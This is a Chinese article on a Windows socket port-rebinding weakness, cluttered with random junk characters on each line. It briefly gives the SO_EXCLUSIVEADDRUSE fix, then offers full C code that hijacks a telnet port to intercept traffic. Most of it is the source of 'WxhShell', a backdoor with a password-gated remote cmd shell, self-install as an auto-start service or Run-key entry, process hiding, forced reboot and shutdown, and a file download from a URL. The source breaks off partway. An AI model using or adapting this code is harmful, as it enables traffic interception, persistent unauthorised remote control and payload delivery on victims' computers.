在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
F>q%~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1B`0.M'd m,]h7 xx saddr.sin_family = AF_INET;
J{#C<C W-"FRTI4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P4"EvdV7 }'TZ)=t{J bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'$CJZ`nt {uO2m*JrI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ByXcs' JA?P jo 这意味着什么?意味着可以进行如下的攻击:
WB|SXto%4D 9fb"R"(M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~F]If \b 0>?78QL9< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ld23^r u/74E0$S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P-lE,X
$66 DyK? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
I^y,@EHR P^bcc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}~ o>H a; h3L{zOff 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kF *^" Cn cd*F;h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
,W<mz7Z(@ A?OaP #include
iu.+bX|b #include
bX]$S 5c_u #include
@Nt$B'+S& #include
#%tN2cFDN DWORD WINAPI ClientThread(LPVOID lpParam);
zFV?,"\r int main()
?IV3"\5 {
bQ2 '*T WORD wVersionRequested;
yn5yQ; DWORD ret;
&mp@;wI6@ WSADATA wsaData;
w6l8RNRe BOOL val;
-J*jW
N! SOCKADDR_IN saddr;
VFwp .1oa! SOCKADDR_IN scaddr;
owc#RW9 7 int err;
> jvi7 SOCKET s;
'=vD!6=0@ SOCKET sc;
ng[ZM); int caddsize;
R`|GBVbv HANDLE mt;
~I)\d/7o DWORD tid;
Vg4N7i wVersionRequested = MAKEWORD( 2, 2 );
6~0.YZ9 err = WSAStartup( wVersionRequested, &wsaData );
/\M3O if ( err != 0 ) {
0/JusQ printf("error!WSAStartup failed!\n");
:Keek-E`e= return -1;
!pLQRnI}6 }
Obu>xK( saddr.sin_family = AF_INET;
0dgp< g"sW_y_O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3 aG?^z g&V1<n\b+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<}$o=>' saddr.sin_port = htons(23);
H{CG/+x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aYQIe7J90J {
qTL] printf("error!socket failed!\n");
miZ&9m return -1;
n +z5;'my }
vrD]o1F val = TRUE;
$fA%_T_P'P //SO_REUSEADDR选项就是可以实现端口重绑定的
bO%bMZWB!y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Rc H",*U {
f?1?$Sp/W printf("error!setsockopt failed!\n");
7Z/KXc[b return -1;
=F5(k(Ds }
7a}vb@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
lclSzC9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/"$;3n~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s`G3SE KfsU RTZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ga~C?H,K {
"?GA}e"R ret=GetLastError();
Em8C +EM printf("error!bind failed!\n");
wh@;$s"B return -1;
Ul@yXtj }
BV X6 listen(s,2);
&i,xod6$ while(1)
gzthM8A {
dk9'C caddsize = sizeof(scaddr);
}Q?,O //接受连接请求
@e_ bG@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
W7lR54%| if(sc!=INVALID_SOCKET)
/MB3w m {
O!(M:. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ph'P<h:V if(mt==NULL)
~4\J}Kn {
2WRa@;Tj printf("Thread Creat Failed!\n");
.>0j<|~
break;
3U0>Y%m| , }
3%G>TB }
0m^(|=N- CloseHandle(mt);
[wJM=`!W }
f\}fUg2 closesocket(s);
$]eITyC`P WSACleanup();
Gvk)H$ni return 0;
-#
[=1Y }
V(|@6ww DWORD WINAPI ClientThread(LPVOID lpParam)
%OeA"# {
<0r2m4z SOCKET ss = (SOCKET)lpParam;
w NlC2is SOCKET sc;
=G%k| unsigned char buf[4096];
tk@
T-; SOCKADDR_IN saddr;
9H9 P'lx9 long num;
dMw0Aw,2]8 DWORD val;
0L_JP9e DWORD ret;
o.ntzN //如果是隐藏端口应用的话,可以在此处加一些判断
P".CZyI-i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`<1o}r 7i saddr.sin_family = AF_INET;
|UN0jR saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
XrY\ot`,D saddr.sin_port = htons(23);
?CgqHmf\\( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'`#sOH {
x78`dX printf("error!socket failed!\n");
*UVo>; return -1;
[=[>1<L> }
EIqe|a+ val = 100;
]Z?y\L*M- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E)l0`83~^ {
Nr?Z[6O| ret = GetLastError();
wJs#rkW return -1;
7{%_6b" }
8X,dVX5LT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!e5!8z {
eM";P/XaX ret = GetLastError();
B8){ return -1;
@kCFc} }
5hN`}Ve if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ib(q9!L {
+>b~nK>M printf("error!socket connect failed!\n");
DlHt#Ob7 closesocket(sc);
W_:3Sj l' closesocket(ss);
i^9 ,. $<1 return -1;
[&e|:1 }
>?/Pl"{b while(1)
cn62:p]5 {
z']TRjDbT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3mI(5~4A]? //如果是嗅探内容的话,可以再此处进行内容分析和记录
0x&-/qce6W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5G!0Yy[' num = recv(ss,buf,4096,0);
>/@wht4- j if(num>0)
TYv'#{ send(sc,buf,num,0);
J?]wA1 else if(num==0)
k1l\Rywp break;
kjVUG >e> num = recv(sc,buf,4096,0);
TI^W=5W@@ if(num>0)
}^!8I7J. send(ss,buf,num,0);
$T.u Iq else if(num==0)
km@V|"ac
_ break;
vS#Y,H:yAj }
(X=JT closesocket(ss);
5f;6BP closesocket(sc);
wKxw|Fpn return 0 ;
Nm;yL }
*3.K; Ic; =lB+GS% <'n'>@ ==========================================================
)ry7a
.39b US5 ]@! 下边附上一个代码,,WXhSHELL
#m
x4pf{ ='!E; ==========================================================
`fTH"l1zn " Y%fk/v8 #include "stdafx.h"
'%Cc!63t* S#h-X(4 #include <stdio.h>
~
_ ogeD #include <string.h>
2/Xro rV #include <windows.h>
b 6kDkE #include <winsock2.h>
s7(NFX5 #include <winsvc.h>
\wMqVRPoQ #include <urlmon.h>
6T"4<w[ ``X1xiB #pragma comment (lib, "Ws2_32.lib")
RT+pB{Y #pragma comment (lib, "urlmon.lib")
WP5cC@x W|X=R?*ZK #define MAX_USER 100 // 最大客户端连接数
J,iS<lV_ #define BUF_SOCK 200 // sock buffer
Fru&-T[ #define KEY_BUFF 255 // 输入 buffer
?3[Gh9g` p**Sd[| #define REBOOT 0 // 重启
{KQ-QKxxS #define SHUTDOWN 1 // 关机
onqifQ @477|LO #define DEF_PORT 5000 // 监听端口
I/2{I 55Pe&V1= #define REG_LEN 16 // 注册表键长度
P 2-^j) #define SVC_LEN 80 // NT服务名长度
5 [GdFd>{ n["G
ry // 从dll定义API
&`@S_YLr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{lam],#r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{ef9ov Xk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KgD sqwy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0tz7^:|D ^(+ X|t // wxhshell配置信息
qLjLfJJ2 struct WSCFG {
v2Ft=_*G| int ws_port; // 监听端口
s9# WkDR char ws_passstr[REG_LEN]; // 口令
PHAM(iC&D int ws_autoins; // 安装标记, 1=yes 0=no
Dj9v9 char ws_regname[REG_LEN]; // 注册表键名
D02'P{ char ws_svcname[REG_LEN]; // 服务名
h(~@
nd{ char ws_svcdisp[SVC_LEN]; // 服务显示名
wH?]kV8Q char ws_svcdesc[SVC_LEN]; // 服务描述信息
aB_~Vh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2ezk<R5q+ int ws_downexe; // 下载执行标记, 1=yes 0=no
nYsB^Nr6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/Fr*k5I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ez1-Nx ylGT9G19 };
?^3Y+)} KPi_<LuK // default Wxhshell configuration
?4`f@=}'K struct WSCFG wscfg={DEF_PORT,
$)YalZ "xuhuanlingzhe",
"xI70c{ 1,
'048Qykt; "Wxhshell",
t6q7w "Wxhshell",
d Dg[ry "WxhShell Service",
yac4\%ze "Wrsky Windows CmdShell Service",
:$=]*54`T "Please Input Your Password: ",
+ *W%4e 1,
"g5<j p "
http://www.wrsky.com/wxhshell.exe",
dz6&TdEl "Wxhshell.exe"
*/_$' /qV };
`w8Ejm?n G1
K@Ir< // 消息定义模块
a
S;z
YD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PIHix{YR char *msg_ws_prompt="\n\r? for help\n\r#>";
<)$e*HrI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
XQ'$J_hC char *msg_ws_ext="\n\rExit.";
,Gi%D3lA char *msg_ws_end="\n\rQuit.";
\? n<UsI char *msg_ws_boot="\n\rReboot...";
u5.zckV char *msg_ws_poff="\n\rShutdown...";
Leu6kPk char *msg_ws_down="\n\rSave to ";
oA* 88c+{f A(D>Zh6 o@ char *msg_ws_err="\n\rErr!";
u?4d<%5R! char *msg_ws_ok="\n\rOK!";
@?n~v^ r1&eA% eh char ExeFile[MAX_PATH];
{i<L<Y(3 int nUser = 0;
|4C5;"P c HANDLE handles[MAX_USER];
<YM!K8hu$ int OsIsNt;
P<CPA7K 2RU/oqmR SERVICE_STATUS serviceStatus;
~v@.YJoZ4Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
wzj:PS :u,Ji9
u // 函数声明
FrsXLUY int Install(void);
&c^tJ-s int Uninstall(void);
:IX_|8e ^ int DownloadFile(char *sURL, SOCKET wsh);
ms&6N'] int Boot(int flag);
r0Zj'F_e void HideProc(void);
C14"lB. int GetOsVer(void);
3o2x&v int Wxhshell(SOCKET wsl);
kmg/hNtN void TalkWithClient(void *cs);
\IhHbcF`d int CmdShell(SOCKET sock);
;uho.)%N`F int StartFromService(void);
wii.0~p int StartWxhshell(LPSTR lpCmdLine);
YJ!jdE} Yc:>Yzj(z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7 \AoMk}
VOID WINAPI NTServiceHandler( DWORD fdwControl );
m;J'y2h =$ yRivf.wH // 数据结构和表定义
ok1w4#%, SERVICE_TABLE_ENTRY DispatchTable[] =
_G$21=
{
J1R5_b {wscfg.ws_svcname, NTServiceMain},
2"QcjFW% {NULL, NULL}
*`40B6dEr };
nGM;|6x"8| lMmP]{.>$ // 自我安装
7/HX!y{WP int Install(void)
v]'\]U^ {
uovSe4q5q char svExeFile[MAX_PATH];
*m8{yh HKEY key;
$WiUoS strcpy(svExeFile,ExeFile);
SN 4JX -C2[ZP- // 如果是win9x系统,修改注册表设为自启动
+V9 (4la if(!OsIsNt) {
4nXemU= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'Yaq; mDY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V$_.&S?(Y RegCloseKey(key);
X"V)oC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q8)wAl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o]eG+i6g] RegCloseKey(key);
C{G;G@/7 return 0;
Byh!Snoe }
5`6U:MDq }
6st^-L }
t9.| i H else {
7ju^B/7 w5vzj%6i // 如果是NT以上系统,安装为系统服务
DH"_.j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$T_>WUiK if (schSCManager!=0)
iX6*OEl/Q {
@,{Qa!A>l SC_HANDLE schService = CreateService
O<J<)_W) (
l\TL=8u2c
schSCManager,
6n\){dkZ~ wscfg.ws_svcname,
5~OKKSUmT wscfg.ws_svcdisp,
d/b\:[B@ SERVICE_ALL_ACCESS,
`NQ;|! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,E8g~ZUY9 SERVICE_AUTO_START,
ey$H2zmo SERVICE_ERROR_NORMAL,
^e]h\G svExeFile,
DB0?H+8t NULL,
gX`C76P! NULL,
{*"\68e NULL,
N"7BV NULL,
(_Th4'(@Y NULL
/GF"D5 );
%Q=rm!Syv if (schService!=0)
]l"9B'XR {
SB:z[kfz| CloseServiceHandle(schService);
)K]<\Q[ CloseServiceHandle(schSCManager);
od^o9(.W^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%"e hZd0r strcat(svExeFile,wscfg.ws_svcname);
{5 3#Xd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vcZ"4%w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Y=/;7T RegCloseKey(key);
4m%Yck{R return 0;
}+giQw4 }
;<=z^1X9 }
1I%niQv5t CloseServiceHandle(schSCManager);
L+lX$k }
HP=5a. }
YXg^t$ !{ !(yP_ return 1;
?z3|^oU~d }
U^Iq]L Y2|c;1~5$ // 自我卸载
CQA^"Ll int Uninstall(void)
QrLXAK\5 {
pS8`OBenA HKEY key;
@>F`;'_*z !>fi3#Fi if(!OsIsNt) {
[7l5p(= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v?o("I[ C RegDeleteValue(key,wscfg.ws_regname);
pIPjTQ?cq RegCloseKey(key);
Gb.}af#v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^Yo2 R RegDeleteValue(key,wscfg.ws_regname);
")u)AQ RegCloseKey(key);
u&'&E
return 0;
=j@8/ }
a
fB?js6 }
{DX1/49 }
Q)
iN_ | else {
0L\vi p+;x&h)[l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b(A;mt#N if (schSCManager!=0)
-AXMT3p=1 {
||;a#FZ^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~Q)Dcit- if (schService!=0)
F~3 &@TWi {
5IP@_GV| if(DeleteService(schService)!=0) {
R+Rb[,m CloseServiceHandle(schService);
Bm;@}Ly=G CloseServiceHandle(schSCManager);
):V)Hrq?x return 0;
P9]95.j }
XeXK~ CloseServiceHandle(schService);
!/Wv\qm }
9$^v*!<z\ CloseServiceHandle(schSCManager);
KA."[dVa }
+}C M2>M }
T_qh_L3 u73/#!(1=H return 1;
ROj=XM:+ }
J!:v`gb#@A 2vW@d[<J // 从指定url下载文件
wQU-r| int DownloadFile(char *sURL, SOCKET wsh)
_p| KaT`` {
'~7 6Y9mv HRESULT hr;
TzrU |D? char seps[]= "/";
yjucR
Fl char *token;
9-?kamA char *file;
!e0/1 j= char myURL[MAX_PATH];
w&}UgtEm char myFILE[MAX_PATH];
^j'vM\^`ml ntF#x.1Pm strcpy(myURL,sURL);
[~ |e: token=strtok(myURL,seps);
gR{.0e while(token!=NULL)
q?oJ=]m" {
7
P]Sc file=token;
+e)RT< token=strtok(NULL,seps);
dYhLk2 }
mW U*}-M 0Y\7A GetCurrentDirectory(MAX_PATH,myFILE);
|)Sx"B) strcat(myFILE, "\\");
tA9(N>[* strcat(myFILE, file);
1;9 %L@ send(wsh,myFILE,strlen(myFILE),0);
CYC6:g|) send(wsh,"...",3,0);
Oxf,2r hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h_h6@/1l if(hr==S_OK)
0"M0tA# return 0;
Uf-`g> else
DYCXzFAa return 1;
1H,hw P
C }
2n5{H fpY :6Sb3w5h // 系统电源模块
a<{+
JU5 int Boot(int flag)
kx3]A"]>' {
f%Bm x{Ttq HANDLE hToken;
_Y,d|!B#L TOKEN_PRIVILEGES tkp;
evHKq}{ veGRwir if(OsIsNt) {
f5QJj<@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
pi?U|&.1z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-\=kd {*B tkp.PrivilegeCount = 1;
pn2_ {8. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ek4?|!kQD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@T+pQ)0{{ if(flag==REBOOT) {
+Pm}_"GU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+0O^!o return 0;
:n<<hR0d }
dNcP_l/A else {
Oo95\Yf$N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Nh|QYxOP return 0;
s&*s9F }
xo*[
g`N }
Fu!sw]6xx else {
CI6qDh6 if(flag==REBOOT) {
cX/["AM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
kP}91kja return 0;
[8.w2\<? }
&\o!-EIK8 else {
awa$o if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K.jm>]'z4; return 0;
ceqYyVy }
,b8q$R~\ }
tvG/oe .1' FqK2[]8 return 1;
ZX!u\O|w }
/>9?/&N6" &O.S ;b*+ // win9x进程隐藏模块
v><uHjP void HideProc(void)
U0W- X9>y {
nANoy6z: gRdg3qvU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5zH?1Z~* if ( hKernel != NULL )
O~AOZ^a:2 {
xN#. Pm~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
B]YY[i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$?u ^hMU= FreeLibrary(hKernel);
i
bwnK?ZA }
Ka\%kB>*` 3#Hx^H return;
@rVBL<!o, }
`&yUU2W OVm
$ // 获取操作系统版本
pJE317 p' int GetOsVer(void)
U ]6Hml;l {
yegTKoY OSVERSIONINFO winfo;
jE{2rw$ZJ? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
l`R/WC GetVersionEx(&winfo);
K-nf@o+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
hOSkxdi*^ return 1;
(9J,Qs[; else
#ab=]}2W_g return 0;
Mb(aI!;A }
N5=;
PZub -3<5,Q{G+ // 客户端句柄模块
}9xEA[@; int Wxhshell(SOCKET wsl)
81|Xg5g)b {
BZE~k?* SOCKET wsh;
/IC7q?avQN struct sockaddr_in client;
l&4TfzkY DWORD myID;
rE
bC_< @M-+-6+ while(nUser<MAX_USER)
2|)3Ly9 {
/*bS~7f1 int nSize=sizeof(client);
?Q]{d'g(sx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j [h4F"`- if(wsh==INVALID_SOCKET) return 1;
r^k:$wJbRK 5Qik{cWxBq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6 /Apdn1[ if(handles[nUser]==0)
rnVh
]xJ closesocket(wsh);
h*Y);mc$# else
8vM}moper nUser++;
{qCmZn5 }
WKQVT I&A. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#<bt}Tht @hiwq7[j return 0;
+]Y&las }
)BY\c7SG {7)D/WY5 // 关闭 socket
OgfmyYMtc void CloseIt(SOCKET wsh)
vb}; _/#? {
sSi1;9^o closesocket(wsh);
por[p\ M. nUser--;
]iuM2] ExitThread(0);
xaWm wsym }
P.RlozF5; ":*PC[)W // 客户端请求句柄
0=;jGh}|i void TalkWithClient(void *cs)
++:v O {
B8_w3;x 5[M?O4mi SOCKET wsh=(SOCKET)cs;
Ak$ghb char pwd[SVC_LEN];
V$+xJ m char cmd[KEY_BUFF];
jl=<Q.Mm7 char chr[1];
5o5y3ibQ int i,j;
/GNRu $LZf&q:\]* while (nUser < MAX_USER) {
A:EF#2)g tZ[Y~],F if(wscfg.ws_passstr) {
PY.c$)az> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8ltHR]v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AyKaazm]9 //ZeroMemory(pwd,KEY_BUFF);
Z
xLjh i=0;
!=#E/il, while(i<SVC_LEN) {
3C8'0DB rO/mK$ // 设置超时
>'/G:\M>A fd_set FdRead;
k=O2s'F` struct timeval TimeOut;
)kl| 5i FD_ZERO(&FdRead);
Mu18s} FD_SET(wsh,&FdRead);
3mgFouX2x, TimeOut.tv_sec=8;
vt[4"eU TimeOut.tv_usec=0;
8h~v%aZ1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j[yGfDb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
A8hj"V47 sf]y\_zU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#"6(Q2|
l pwd
=chr[0]; EW1L!3K
if(chr[0]==0xd || chr[0]==0xa) { s@f4f__(]
pwd=0; l0g#&V--
break; rB|D^@mG
} _n2PoE:5@P
i++; *~fZ9EkD
} ~ @Ib:M
Bm%:Qc*
// 如果是非法用户,关闭 socket xmTa$tR+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N<:5 r
} *J?QXsg
d5]9FIj
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y*O7lZuF%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S)z
jfJR
BN@*CG
while(1) { dh%C@n:B
X4&{/;$
ZeroMemory(cmd,KEY_BUFF); y yrCO"eh
0^|)[2m!
// 自动支持客户端 telnet标准 }3Pz{{B&+O
j=0; F$ x@]
while(j<KEY_BUFF) { &Hc8u,|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GdR>S('
cmd[j]=chr[0]; ";9cYoKRY
if(chr[0]==0xa || chr[0]==0xd) { Vy{=Y(cpF2
cmd[j]=0; EKk~~PhW 8
break; e6k}-<W*q
} tz&=v,_jc
j++; \^?BC;s^C
} ];^A8?
^M
PU?k
// 下载文件 Wk'KN o
if(strstr(cmd,"http://")) { k _hiGg
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 18Pc4~>0
if(DownloadFile(cmd,wsh)) IO`.]iG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >f19P+
else s7SW4ff1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4kNf4l9Y
} BkJV{>?_+
else { HLAWx/c,j"
,$mnD@)
switch(cmd[0]) { G|Ic6Sd
c&3
]%urL
// 帮助 P`5@$1CJ
case '?': { \)DP(wC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z*l3O~mZ
break; P
5m{}@g
} A"\kdxC
// 安装 4t|g G`QW7
case 'i': { Vur$t^zE
if(Install()) ,`G8U/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VCcLS3
else i15uHl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]/HSlT=
break; g[44YrRD
} kG
&.|
// 卸载 kW4/0PD
case 'r': { X(?.*m@+TB
if(Uninstall()) y;yXOE_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^T)HRT-k
else 7tfMD(Q]e/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ly}6zOC\
break; ?2%d;tW
} v6HBO#F'V{
// 显示 wxhshell 所在路径 iT%aAVs
case 'p': { Va\dMv-b
char svExeFile[MAX_PATH]; qWGnIPk
strcpy(svExeFile,"\n\r"); n(/(F`
strcat(svExeFile,ExeFile); R(kr@hM
send(wsh,svExeFile,strlen(svExeFile),0); 2+TCFpv
break; *.ri8
} X7?p$!M6;B
// 重启 9loWh5_1Z
case 'b': { |zKe*H/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Ucg<Z&%
if(Boot(REBOOT)) g6IG>)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rm;'/l8Y-E
else { VThcG(
NF
closesocket(wsh); uo_Y"QiKEH
ExitThread(0); L|qQZ=
} w W1aG
break; gV):3mWC
} 7UejK r
// 关机 m(s(2wq"f
case 'd': { G`8gI)$u
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iP~5=
if(Boot(SHUTDOWN)) LpGplDlB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&xBq?
else { '~VKH}b
closesocket(wsh); %UI.E=`n
ExitThread(0); (#BkL:dg
} e Pq(:ih
break; a57Y9.H`o
} xM8}Xo
// 获取shell fB:9:NX
case 's': { hq6fDRO/4
CmdShell(wsh); 1Zx|SBF
closesocket(wsh); HlqCL1\<
ExitThread(0); \-0@9E<D
break; `L`qR,R
} Ah;2\0|t
// 退出 ^G[xQcM73
case 'x': { -X'HZ\)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bvuoGG*
CloseIt(wsh); `ky<
*
break; %2f``48#
} $\Bzp<SN`
// 离开 K19/M1~
case 'q': { h8Q+fHDYv
send(wsh,msg_ws_end,strlen(msg_ws_end),0); X]U,`oE)9
closesocket(wsh); Q g"hN
WSACleanup(); U[*VNJSp
exit(1); 5DK>4H:
break; K}tl,MMU
} /1F%w8Iqh
} %I9{)'+@x
} 7*^-3Tt83
Bq.@CxK
// 提示信息 T1m"1Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QM2Y?."#
} ;n%SjQ'%
} 8>x!n/z)
'3 w=D
)
return; "^F#oo%L
} I@+h|
n
j2c -01}
// shell模块句柄 S_/9eI~X
int CmdShell(SOCKET sock) <`i"5`J
{ 15+>W4v
STARTUPINFO si; |!E>I
ZeroMemory(&si,sizeof(si)); ?:vp3f#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9un]}7^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z}.y
?#
PROCESS_INFORMATION ProcessInfo; j5,1`7\7B
char cmdline[]="cmd"; Umjt~K^Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0vuL(W8)
return 0; f.JZ[+
} mE'y$5ZxY
ye:pGa w
// 自身启动模式 /x,gdZPX
int StartFromService(void) $m,gQV~4
{ cjAKc|N J
typedef struct <`k\kZM
{ Ni#!C:q
